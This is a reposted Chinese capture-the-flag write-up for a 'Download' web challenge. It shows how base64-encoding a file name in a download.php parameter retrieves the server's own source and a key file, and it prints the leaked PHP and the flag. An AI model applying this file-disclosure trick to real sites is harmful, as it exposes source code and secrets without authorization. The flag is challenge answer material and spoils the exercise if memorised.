南京郵電CTF平台做題writeup--web--Download~

來源:互聯網
上載者:User

標籤:

網址提供了兩首歌的下載連結,分別為

http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=

http://way.nuptzj.cn/web6/download.php?url=YnV4aWFuZ3poYW5nZGEubXAz

可見下載檔案名稱以base64加密形式出現,於是構造download.php的base64加密ZG93bmxvYWQucGhw

訪問http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw下載download.php

download.php

??<?phperror_reporting(0);include("hereiskey.php");$url=base64_decode($_GET[url]);if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){    $file_size = filesize($url);    header ( "Pragma: public" );    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );    header ( "Cache-Control: private", false );    header ( "Content-Transfer-Encoding: binary" );    header ( "Content-Type:audio/mpeg MP3");    header ( "Content-Length: " . $file_size);    header ( "Content-Disposition: attachment; filename=".$url);    echo(file_get_contents($url));    exit;}else {    echo "Access Forbidden!";}?>

發現hereiskey.php同理下載hereiskey.php

?<?php//flag:nctf{download_any_file_666}?>

 

南京郵電CTF平台做題writeup--web--Download~

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.